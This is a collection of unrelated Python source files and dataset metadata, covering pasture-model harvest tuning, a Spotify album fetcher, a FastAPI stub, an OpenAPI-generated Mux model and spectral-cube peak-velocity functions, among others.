'weed_dm_frac': np.zeros(len(matrix_weather)), # set filler values
})
# start harvesting at the same point
harv_days = pd.date_range(start='2011-09-03', end='2017-04-30', freq='{}D'.format(freq))
idx = np.in1d(pd.to_datetime(strs, format='%Y-%j'), harv_days)
days_harvest.loc[idx, 'harv_trig'] = trig
days_harvest.loc[idx, 'harv_targ'] = targ
out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False)
return out
if __name__ == '__main__':
outdir = ksl_env.shared_drives(r"Z2003_SLMACC\pasture_growth_modelling\basgra_harvest_tuning\irr_harv_testing")
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 10, 10]
trigs = [1501, 1600, 1700]
targs = [1500, 1500, 1500]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'], outdir=os.path.join(outdir, 'trig_vary'))
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 20, 30]
trigs = [1501, 1501, 1501]
targs = [1500, 1500, 1500]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'],outdir=os.path.join(outdir, 'freq_vary'))
data = {
'Woodward_model': run_old_basgra(),
}
freq = [10, 10, 10]
trigs = [1301, 1501, 1801]
targs = [1300, 1500, 1800]
for f, tr, ta, in zip(freq, trigs, targs):
data['freq: {}, Trig:{}, Targ:{}'.format(f, tr, ta)] = run_frequent_harvest(f, tr, ta)
plot_multiple_results(data, out_vars=['DM', 'YIELD', 'BASAL', 'DMH_RYE', 'DM_RYE_RM'], outdir=os.path.join(outdir, 'trag_vary'))
| en | 0.407268 | Author: <NAME> Created: 23/11/2020 11:02 AM # add basgra nz functions # set filler values # set flag to not harvest # set filler values # set filler values # start harvesting at the same point | 2.224565 | 2 |
get_spotify_info.py | tanelso2/favorite-albums-webapp | 0 | 6623590 | <reponame>tanelso2/favorite-albums-webapp
# coding: utf-8
import base64
import configparser
import json
import requests
import sys
import urllib.parse
def get_client_values(file_loc=None):
if file_loc is None:
file_loc = sys.argv[1]
config = configparser.ConfigParser()
config.read(file_loc)
return config["Spotify"]["client_id"], config["Spotify"]["client_secret"]
def get_auth_token():
client_id, client_secret = get_client_values()
auth_field = f"{client_id}:{client_secret}"
auth_field = auth_field.encode('utf-8')
encoded_auth_header = base64.b64encode(auth_field)
headers = {"Authorization": "Basic {}".format(encoded_auth_header.decode('utf-8'))}
body = {"grant_type": "client_credentials"}
spotify_auth_url = "https://accounts.spotify.com/api/token"
r = requests.post(spotify_auth_url, headers=headers, data=body)
return r.json()['access_token']
def need_exact_match(album, artist):
overrides = [
# Needed to get past the Love Pts 1 & 2 double album.
# Part 2 is merely meh
['Love, Pt. 1', 'Angels & Airwaves']
]
for o_album, o_artist in overrides:
if album == o_album and artist == o_artist:
return True
return False
def get_album_information(album, artist, auth_token=None):
if auth_token is None:
auth_token = get_auth_token()
search_url = "https://api.spotify.com/v1/search"
query = f"album:{album} artist:{artist}"
encoded_query_str = urllib.parse.urlencode({"q": query,
"type": "album",
"limit": 50})
headers = {"Authorization": f"Bearer {auth_token}"}
r = requests.get(f"{search_url}?{encoded_query_str}", headers=headers)
if need_exact_match(album, artist):
for info in r.json()['albums']['items']:
i_artist = info["artists"][0]["name"]
i_album = info["name"]
if i_artist == artist and i_album == album:
return info
# For debugging errors:
# print(f'{album} by {artist}')
return r.json()['albums']['items'][0]
def parse_spotify_album_info(album_info):
album_name = album_info["name"]
album_url = album_info["external_urls"]["spotify"]
artist = album_info["artists"][0]
artist_url = artist["external_urls"]["spotify"]
artist_name = artist["name"]
images = album_info["images"] #Preserve all the images.
# Just in case I want to add logic to switch
# to smaller images on smaller devices
return {"album-name": album_name,
"album-url": album_url,
"artist-name": artist_name,
"artist-url": artist_url,
"images": images}
def get_album_list():
with open('favorites.txt', 'r') as f:
data = f.read().strip()
albums = data.split('\n')
def parse_album_info(line):
parts = line.split(' by ')
album, artist = parts
return {"album": album, "artist": artist}
return [parse_album_info(x) for x in albums]
album_list = get_album_list()
auth_token = get_auth_token()
album_infos = [get_album_information(x["album"], x["artist"], auth_token=auth_token) for x in album_list]
output = [parse_spotify_album_info(x) for x in album_infos]
print(json.dumps(output))
| # coding: utf-8
import base64
import configparser
import json
import requests
import sys
import urllib.parse
def get_client_values(file_loc=None):
if file_loc is None:
file_loc = sys.argv[1]
config = configparser.ConfigParser()
config.read(file_loc)
return config["Spotify"]["client_id"], config["Spotify"]["client_secret"]
def get_auth_token():
client_id, client_secret = get_client_values()
auth_field = f"{client_id}:{client_secret}"
auth_field = auth_field.encode('utf-8')
encoded_auth_header = base64.b64encode(auth_field)
headers = {"Authorization": "Basic {}".format(encoded_auth_header.decode('utf-8'))}
body = {"grant_type": "client_credentials"}
spotify_auth_url = "https://accounts.spotify.com/api/token"
r = requests.post(spotify_auth_url, headers=headers, data=body)
return r.json()['access_token']
def need_exact_match(album, artist):
overrides = [
# Needed to get past the Love Pts 1 & 2 double album.
# Part 2 is merely meh
['Love, Pt. 1', 'Angels & Airwaves']
]
for o_album, o_artist in overrides:
if album == o_album and artist == o_artist:
return True
return False
def get_album_information(album, artist, auth_token=None):
if auth_token is None:
auth_token = get_auth_token()
search_url = "https://api.spotify.com/v1/search"
query = f"album:{album} artist:{artist}"
encoded_query_str = urllib.parse.urlencode({"q": query,
"type": "album",
"limit": 50})
headers = {"Authorization": f"Bearer {auth_token}"}
r = requests.get(f"{search_url}?{encoded_query_str}", headers=headers)
if need_exact_match(album, artist):
for info in r.json()['albums']['items']:
i_artist = info["artists"][0]["name"]
i_album = info["name"]
if i_artist == artist and i_album == album:
return info
# For debugging errors:
# print(f'{album} by {artist}')
return r.json()['albums']['items'][0]
def parse_spotify_album_info(album_info):
album_name = album_info["name"]
album_url = album_info["external_urls"]["spotify"]
artist = album_info["artists"][0]
artist_url = artist["external_urls"]["spotify"]
artist_name = artist["name"]
images = album_info["images"] #Preserve all the images.
# Just in case I want to add logic to switch
# to smaller images on smaller devices
return {"album-name": album_name,
"album-url": album_url,
"artist-name": artist_name,
"artist-url": artist_url,
"images": images}
def get_album_list():
with open('favorites.txt', 'r') as f:
data = f.read().strip()
albums = data.split('\n')
def parse_album_info(line):
parts = line.split(' by ')
album, artist = parts
return {"album": album, "artist": artist}
return [parse_album_info(x) for x in albums]
album_list = get_album_list()
auth_token = get_auth_token()
album_infos = [get_album_information(x["album"], x["artist"], auth_token=auth_token) for x in album_list]
output = [parse_spotify_album_info(x) for x in album_infos]
print(json.dumps(output)) | en | 0.833905 | # coding: utf-8 # Needed to get past the Love Pts 1 & 2 double album. # Part 2 is merely meh # For debugging errors: # print(f'{album} by {artist}') #Preserve all the images. # Just in case I want to add logic to switch # to smaller images on smaller devices | 3.006002 | 3 |
setup.py | allanlwu/allangdrive | 0 | 6623591 | import setuptools
setuptools.setup(
name="allangdrive",
version='0.1.0',
url="https://github.com/allanlwu/allangdrive",
author="<NAME>",
description="Jupyter extension to allow user to sync files to Google Drive",
packages=setuptools.find_packages(),
install_requires=[
'notebook',
],
package_data={'allangdrive': ['static/*']},
)
| import setuptools
setuptools.setup(
name="allangdrive",
version='0.1.0',
url="https://github.com/allanlwu/allangdrive",
author="<NAME>",
description="Jupyter extension to allow user to sync files to Google Drive",
packages=setuptools.find_packages(),
install_requires=[
'notebook',
],
package_data={'allangdrive': ['static/*']},
)
| none | 1 | 1.680476 | 2 | |
web_app/services/basilica_service.py | diegoarriola1/twitoff-pt5 | 0 | 6623592 | <filename>web_app/services/basilica_service.py<gh_stars>0
# web_app/services/basilica_services.py
import basilica
import os
from dotenv import load_dotenv
load_dotenv() # parese the .env file for environment variables
BASILICA_API_KEY = os.getenv("BASILICA_API_KEY")
connection = basilica.Connection(BASILICA_API_KEY)
print(type(connection))
if __name__ == "__main__":
sentences = ["Hello world!", "How are you?"]
embeddings = connection.embed_sentences(sentences)
print(list(embeddings))
| <filename>web_app/services/basilica_service.py<gh_stars>0
# web_app/services/basilica_services.py
import basilica
import os
from dotenv import load_dotenv
load_dotenv() # parese the .env file for environment variables
BASILICA_API_KEY = os.getenv("BASILICA_API_KEY")
connection = basilica.Connection(BASILICA_API_KEY)
print(type(connection))
if __name__ == "__main__":
sentences = ["Hello world!", "How are you?"]
embeddings = connection.embed_sentences(sentences)
print(list(embeddings))
| en | 0.677756 | # web_app/services/basilica_services.py # parese the .env file for environment variables | 2.20524 | 2 |
EDA/compress_audio/__init__.py | W210-Audio-Upscaling/Audio-Upscaling | 0 | 6623593 | from ffmpy import FFmpeg
import os, glob
class Normalize_Audio():
def __init__(self):
''' Constructor for this class. '''
pass
def normalize(infile,bitrate):
filename=os.path.splitext(os.path.split(infile)[1])[0]
filepath=os.path.dirname(infile)+"\\normalized"
try:
os.mkdir(filepath)
except OSError:
pass
ff = FFmpeg(inputs={infile: None},outputs={'%s\%s_normalized.mp3'%(filepath,filename): '-ac 1 -ab %s'%(bitrate)})
ff.run()
return print("File Normalized")
def compress(infile,bitrate):
filename=os.path.splitext(os.path.split(infile)[1])[0]
filepath=os.path.dirname(infile)+"\\compressed"
try:
os.mkdir(filepath)
except OSError:
pass
ff = FFmpeg(inputs={infile: None},outputs={'%s\%s_compressed.mp3'%(filepath,filename): '-ac 1 -ab %s'%(bitrate)})
ff.run()
return print("File Compressed")
| from ffmpy import FFmpeg
import os, glob
class Normalize_Audio():
def __init__(self):
''' Constructor for this class. '''
pass
def normalize(infile,bitrate):
filename=os.path.splitext(os.path.split(infile)[1])[0]
filepath=os.path.dirname(infile)+"\\normalized"
try:
os.mkdir(filepath)
except OSError:
pass
ff = FFmpeg(inputs={infile: None},outputs={'%s\%s_normalized.mp3'%(filepath,filename): '-ac 1 -ab %s'%(bitrate)})
ff.run()
return print("File Normalized")
def compress(infile,bitrate):
filename=os.path.splitext(os.path.split(infile)[1])[0]
filepath=os.path.dirname(infile)+"\\compressed"
try:
os.mkdir(filepath)
except OSError:
pass
ff = FFmpeg(inputs={infile: None},outputs={'%s\%s_compressed.mp3'%(filepath,filename): '-ac 1 -ab %s'%(bitrate)})
ff.run()
return print("File Compressed")
| en | 0.727852 | Constructor for this class. | 2.988053 | 3 |
CodeWars/Unique_number.py | srisrinu1/Interview-solved | 46 | 6623594 | <filename>CodeWars/Unique_number.py
###This one is from a problem I soved on codewars in my beginner level
#Qustion
'''There is an array with some numbers. All numbers are equal except for one. Try to find it!
find_uniq([ 1, 1, 1, 2, 1, 1 ]) == 2
find_uniq([ 0, 0, 0.55, 0, 0 ]) == 0.55
It’s guaranteed that array contains at least 3 numbers.
The tests contain some very huge arrays, so think about performance.
'''
#Solution
def find_uniq(arr):
if arr[0] != arr[1]:
if arr[0] != arr[2]:
return arr[0]
else:
return arr[1]
else:
for i in arr[2:]:
if i != arr[0]:
return i | <filename>CodeWars/Unique_number.py
###This one is from a problem I soved on codewars in my beginner level
#Qustion
'''There is an array with some numbers. All numbers are equal except for one. Try to find it!
find_uniq([ 1, 1, 1, 2, 1, 1 ]) == 2
find_uniq([ 0, 0, 0.55, 0, 0 ]) == 0.55
It’s guaranteed that array contains at least 3 numbers.
The tests contain some very huge arrays, so think about performance.
'''
#Solution
def find_uniq(arr):
if arr[0] != arr[1]:
if arr[0] != arr[2]:
return arr[0]
else:
return arr[1]
else:
for i in arr[2:]:
if i != arr[0]:
return i | en | 0.909465 | ###This one is from a problem I soved on codewars in my beginner level #Qustion There is an array with some numbers. All numbers are equal except for one. Try to find it! find_uniq([ 1, 1, 1, 2, 1, 1 ]) == 2 find_uniq([ 0, 0, 0.55, 0, 0 ]) == 0.55 It’s guaranteed that array contains at least 3 numbers. The tests contain some very huge arrays, so think about performance. #Solution | 3.962338 | 4 |
manage.py | zjmeow/HelloFlask | 0 | 6623595 | #coding:utf8
from flask_migrate import MigrateCommand , Migrate
from app import create_app,db
from flask_script import Manager
app = create_app()
manager = Manager(app)
migrate = Migrate(app,db)
manager.add_command('db',MigrateCommand)
if __name__ == '__main__':
app.run(host='0.0.0.0')
# manager.run()
| #coding:utf8
from flask_migrate import MigrateCommand , Migrate
from app import create_app,db
from flask_script import Manager
app = create_app()
manager = Manager(app)
migrate = Migrate(app,db)
manager.add_command('db',MigrateCommand)
if __name__ == '__main__':
app.run(host='0.0.0.0')
# manager.run()
| ru | 0.232704 | #coding:utf8 # manager.run() | 1.887012 | 2 |
jinete/storers/sets.py | garciparedes/rider | 5 | 6623596 | <filename>jinete/storers/sets.py
"""The set of definitions to use more than one storer at the same time."""
from __future__ import (
annotations,
)
import logging
from typing import (
TYPE_CHECKING,
)
from .abc import (
Storer,
)
if TYPE_CHECKING:
from typing import (
Set,
Type,
)
logger = logging.getLogger(__name__)
class StorerSet(Storer):
"""Store a resulting solution trough multiple storers.
This implementation is an intermediate tool to combine multiple storers.
"""
def __init__(self, storer_cls_set: Set[Type[Storer]], *args, **kwargs):
"""Construct a new object instance.
:param storer_cls_set: The storer classes to be used to store the problem solution.
:param args: Additional positional arguments.
:param kwargs: Additional named arguments.
"""
super().__init__(*args, **kwargs)
self.storer_cls_set = storer_cls_set
self.args = args
self.kwargs = kwargs
def store(self) -> None:
"""Perform a storage process."""
for storer_cls in self.storer_cls_set:
name = getattr(storer_cls, "__name__", None)
logger.info(f'Storing result with "{name}"...')
storer = storer_cls(*self.args, **self.kwargs)
storer.store()
| <filename>jinete/storers/sets.py
"""The set of definitions to use more than one storer at the same time."""
from __future__ import (
annotations,
)
import logging
from typing import (
TYPE_CHECKING,
)
from .abc import (
Storer,
)
if TYPE_CHECKING:
from typing import (
Set,
Type,
)
logger = logging.getLogger(__name__)
class StorerSet(Storer):
"""Store a resulting solution trough multiple storers.
This implementation is an intermediate tool to combine multiple storers.
"""
def __init__(self, storer_cls_set: Set[Type[Storer]], *args, **kwargs):
"""Construct a new object instance.
:param storer_cls_set: The storer classes to be used to store the problem solution.
:param args: Additional positional arguments.
:param kwargs: Additional named arguments.
"""
super().__init__(*args, **kwargs)
self.storer_cls_set = storer_cls_set
self.args = args
self.kwargs = kwargs
def store(self) -> None:
"""Perform a storage process."""
for storer_cls in self.storer_cls_set:
name = getattr(storer_cls, "__name__", None)
logger.info(f'Storing result with "{name}"...')
storer = storer_cls(*self.args, **self.kwargs)
storer.store()
| en | 0.83209 | The set of definitions to use more than one storer at the same time. Store a resulting solution trough multiple storers. This implementation is an intermediate tool to combine multiple storers. Construct a new object instance. :param storer_cls_set: The storer classes to be used to store the problem solution. :param args: Additional positional arguments. :param kwargs: Additional named arguments. Perform a storage process. | 2.950994 | 3 |
mux_python/models/referrer_domain_restriction.py | ryan-alley/mux-python | 0 | 6623597 | # coding: utf-8
"""
Mux API
Mux is how developers build online video. This API encompasses both Mux Video and Mux Data functionality to help you build your video-related projects better and faster than ever before. # noqa: E501
The version of the OpenAPI document: v1
Contact: <EMAIL>
Generated by: https://openapi-generator.tech
"""
import inspect
import pprint
import re # noqa: F401
import six
from mux_python.configuration import Configuration
class ReferrerDomainRestriction(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'allowed_domains': 'list[str]',
'allow_no_referrer': 'bool'
}
attribute_map = {
'allowed_domains': 'allowed_domains',
'allow_no_referrer': 'allow_no_referrer'
}
def __init__(self, allowed_domains=None, allow_no_referrer=False, local_vars_configuration=None): # noqa: E501
"""ReferrerDomainRestriction - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration.get_default_copy()
self.local_vars_configuration = local_vars_configuration
self._allowed_domains = None
self._allow_no_referrer = None
self.discriminator = None
if allowed_domains is not None:
self.allowed_domains = allowed_domains
if allow_no_referrer is not None:
self.allow_no_referrer = allow_no_referrer
@property
def allowed_domains(self):
"""Gets the allowed_domains of this ReferrerDomainRestriction. # noqa: E501
List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501
:return: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501
:rtype: list[str]
"""
return self._allowed_domains
@allowed_domains.setter
def allowed_domains(self, allowed_domains):
"""Sets the allowed_domains of this ReferrerDomainRestriction.
List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501
:param allowed_domains: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501
:type allowed_domains: list[str]
"""
self._allowed_domains = allowed_domains
@property
def allow_no_referrer(self):
"""Gets the allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501
:return: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
:rtype: bool
"""
return self._allow_no_referrer
@allow_no_referrer.setter
def allow_no_referrer(self, allow_no_referrer):
"""Sets the allow_no_referrer of this ReferrerDomainRestriction.
A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501
:param allow_no_referrer: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
:type allow_no_referrer: bool
"""
self._allow_no_referrer = allow_no_referrer
def to_dict(self, serialize=False):
"""Returns the model properties as a dict"""
result = {}
def convert(x):
if hasattr(x, "to_dict"):
args = inspect.getargspec(x.to_dict).args
if len(args) == 1:
return x.to_dict()
else:
return x.to_dict(serialize)
else:
return x
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
attr = self.attribute_map.get(attr, attr) if serialize else attr
if isinstance(value, list):
result[attr] = list(map(
lambda x: convert(x),
value
))
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], convert(item[1])),
value.items()
))
else:
result[attr] = convert(value)
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ReferrerDomainRestriction):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, ReferrerDomainRestriction):
return True
return self.to_dict() != other.to_dict()
| # coding: utf-8
"""
Mux API
Mux is how developers build online video. This API encompasses both Mux Video and Mux Data functionality to help you build your video-related projects better and faster than ever before. # noqa: E501
The version of the OpenAPI document: v1
Contact: <EMAIL>
Generated by: https://openapi-generator.tech
"""
import inspect
import pprint
import re # noqa: F401
import six
from mux_python.configuration import Configuration
class ReferrerDomainRestriction(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'allowed_domains': 'list[str]',
'allow_no_referrer': 'bool'
}
attribute_map = {
'allowed_domains': 'allowed_domains',
'allow_no_referrer': 'allow_no_referrer'
}
def __init__(self, allowed_domains=None, allow_no_referrer=False, local_vars_configuration=None): # noqa: E501
"""ReferrerDomainRestriction - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration.get_default_copy()
self.local_vars_configuration = local_vars_configuration
self._allowed_domains = None
self._allow_no_referrer = None
self.discriminator = None
if allowed_domains is not None:
self.allowed_domains = allowed_domains
if allow_no_referrer is not None:
self.allow_no_referrer = allow_no_referrer
@property
def allowed_domains(self):
"""Gets the allowed_domains of this ReferrerDomainRestriction. # noqa: E501
List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501
:return: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501
:rtype: list[str]
"""
return self._allowed_domains
@allowed_domains.setter
def allowed_domains(self, allowed_domains):
"""Sets the allowed_domains of this ReferrerDomainRestriction.
List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501
:param allowed_domains: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501
:type allowed_domains: list[str]
"""
self._allowed_domains = allowed_domains
@property
def allow_no_referrer(self):
"""Gets the allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501
:return: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
:rtype: bool
"""
return self._allow_no_referrer
@allow_no_referrer.setter
def allow_no_referrer(self, allow_no_referrer):
"""Sets the allow_no_referrer of this ReferrerDomainRestriction.
A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501
:param allow_no_referrer: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501
:type allow_no_referrer: bool
"""
self._allow_no_referrer = allow_no_referrer
def to_dict(self, serialize=False):
"""Returns the model properties as a dict"""
result = {}
def convert(x):
if hasattr(x, "to_dict"):
args = inspect.getargspec(x.to_dict).args
if len(args) == 1:
return x.to_dict()
else:
return x.to_dict(serialize)
else:
return x
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
attr = self.attribute_map.get(attr, attr) if serialize else attr
if isinstance(value, list):
result[attr] = list(map(
lambda x: convert(x),
value
))
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], convert(item[1])),
value.items()
))
else:
result[attr] = convert(value)
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, ReferrerDomainRestriction):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, ReferrerDomainRestriction):
return True
return self.to_dict() != other.to_dict()
| en | 0.652085 | # coding: utf-8 Mux API Mux is how developers build online video. This API encompasses both Mux Video and Mux Data functionality to help you build your video-related projects better and faster than ever before. # noqa: E501 The version of the OpenAPI document: v1 Contact: <EMAIL> Generated by: https://openapi-generator.tech # noqa: F401 NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. # noqa: E501 ReferrerDomainRestriction - a model defined in OpenAPI # noqa: E501 Gets the allowed_domains of this ReferrerDomainRestriction. # noqa: E501 List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501 :return: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501 :rtype: list[str] Sets the allowed_domains of this ReferrerDomainRestriction. List of domains allowed to play videos. Possible values are * `[]` Empty Array indicates deny video playback requests for all domains * `[\"*\"]` A Single Wildcard `*` entry means allow video playback requests from any domain * `[\"*.example.com\", \"foo.com\"]` A list of up to 10 domains or valid dns-style wildcards # noqa: E501 :param allowed_domains: The allowed_domains of this ReferrerDomainRestriction. # noqa: E501 :type allowed_domains: list[str] Gets the allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501 A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501 :return: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501 :rtype: bool Sets the allow_no_referrer of this ReferrerDomainRestriction. A boolean to determine whether to allow or deny HTTP requests without `Referer` HTTP request header. Playback requests coming from non-web/native applications like iOS, Android or smart TVs will not have a `Referer` HTTP header. Set this value to `true` to allow these playback requests. # noqa: E501 :param allow_no_referrer: The allow_no_referrer of this ReferrerDomainRestriction. # noqa: E501 :type allow_no_referrer: bool Returns the model properties as a dict Returns the string representation of the model For `print` and `pprint` Returns true if both objects are equal Returns true if both objects are not equal | 2.004935 | 2 |
main.py | thanapolbig/python_API | 0 | 6623598 | <gh_stars>0
from typing import Optional
import sqlite3
from fastapi import FastAPI
app = FastAPI()
print("go to swagger =>> http://1172.16.31.10:8000/docs")
@app.get("/")
def read_root():
return {"Hello": "World"}
@app.get("/items/{item_id}")
def read_item(item_id: int, q: Optional[str] = None):
return {"item_id": item_id, "q": q}
@app.get("/getdata")
| from typing import Optional
import sqlite3
from fastapi import FastAPI
app = FastAPI()
print("go to swagger =>> http://1172.16.31.10:8000/docs")
@app.get("/")
def read_root():
return {"Hello": "World"}
@app.get("/items/{item_id}")
def read_item(item_id: int, q: Optional[str] = None):
return {"item_id": item_id, "q": q}
@app.get("/getdata") | none | 1 | 2.665626 | 3 | |
cube_analysis/moments.py | e-koch/CubeAnalysis | 4 | 6623599 | <reponame>e-koch/CubeAnalysis<filename>cube_analysis/moments.py
from spectral_cube import SpectralCube
from spectral_cube.lower_dimensional_structures import Projection
import numpy as np
import astropy.units as u
from astropy.io import fits
from astropy.wcs import WCS
from astropy import log
from astropy.convolution import Gaussian1DKernel
from astropy.utils.console import ProgressBar
import os
import glob
from .feather_cubes import get_channel_chunks
from .progressbar import _map_context
def _peak_velocity(args):
'''
Return the velocity at the peak of a spectrum.
'''
spec, kern = args
if kern is None:
return spec.spectral_axis[np.argmax(spec.value)]
else:
smooth_spec = spec.spectral_smooth(kern)
argmax = np.argmax(smooth_spec.value)
return spec.spectral_axis[argmax]
def find_peakvelocity(cube_name, mask_name=None,
source_mask=None,
chunk_size=1e4,
smooth_size=None,
# in_memory=False, num_cores=1,
spectral_slice=slice(None),
verbose=False):
'''
Calculate the peak velocity surface of a spectral cube
'''
# Open the cube to get some properties for the peak velocity
# array
cube_hdu = fits.open(cube_name, mode='denywrite')
shape = cube_hdu[0].shape
spat_wcs = WCS(cube_hdu[0].header).celestial
vel_unit = u.Unit(cube_hdu[0].header['CUNIT3'])
cube_hdu.close()
del cube_hdu
peakvels = Projection(np.zeros(shape[1:]) * np.NaN,
wcs=spat_wcs,
unit=vel_unit)
# Now read in the source mask
if mask_name is not None or source_mask is not None:
if source_mask is None:
source_mask = fits.getdata(mask_name)
source_mask_spatial = source_mask.sum(0) > 0
posns = np.where(source_mask_spatial)
else:
posns = np.indices(shape[1:])
chunk_size = int(chunk_size)
chunk_idx = get_channel_chunks(posns[0].size, chunk_size)
if smooth_size is not None:
kern = Gaussian1DKernel(smooth_size)
else:
kern = None
for i, chunk in enumerate(chunk_idx):
log.info("On chunk {0} of {1}".format(i + 1, len(chunk_idx)))
y_posn = posns[0][chunk]
x_posn = posns[1][chunk]
if verbose:
pbar = ProgressBar(y_posn.size)
cube = SpectralCube.read(cube_name)
if mask_name is not None:
cube = cube.with_mask(source_mask)
cube = cube[spectral_slice]
for j, (y, x) in enumerate(zip(y_posn, x_posn)):
peakvels[y, x] = _peak_velocity((cube[:, y, x], kern))
if verbose:
pbar.update(j + 1)
del cube
# if in_memory:
# gener = [(cube[:, y, x], kern)
# for y, x in zip(y_posn, x_posn)]
# else:
# gener = ((cube[:, y, x], kern)
# for y, x in zip(y_posn, x_posn))
# with _map_context(num_cores, verbose=verbose) as map:
# output = map(_peak_velocity, gener)
# del gener
# for out, y, x in zip(output, y_posn, x_posn):
# peakvels[y, x] = out
# peakvels[peakvels == 0.0 * u.m / u.s] = np.NaN * u.m / u.s
# Make sure there are no garbage points outside of the cube spectral range
cube = SpectralCube.read(cube_name)[spectral_slice]
peakvels[peakvels < cube.spectral_extrema[0]] = np.NaN * u.m / u.s
peakvels[peakvels > cube.spectral_extrema[1]] = np.NaN * u.m / u.s
del cube
return peakvels
def find_peakvelocity_cube(cube, smooth_size=None,
pb_mask=None,
num_cores=1, verbose=False,
how='cube',
spectral_slice=slice(None)):
'''
Make peak velocity map with cube operations.
'''
if smooth_size is not None:
kern = Gaussian1DKernel(smooth_size)
parallel = True if num_cores > 1 else False
smooth_cube = cube.spectral_smooth(kern,
parallel=parallel,
num_cores=num_cores)
else:
smooth_cube = cube
argmax_plane = smooth_cube[spectral_slice].argmax(axis=0, how=how)
peakvels = cube[spectral_slice].spectral_axis[argmax_plane]
if pb_mask is not None:
peakvels[~pb_mask] = np.NaN
return peakvels
def make_moments(cube_name, mask_name, output_folder, freq=None,
custom_mask_name=None,
num_cores=1, verbose=False, chunk_size=1e4,
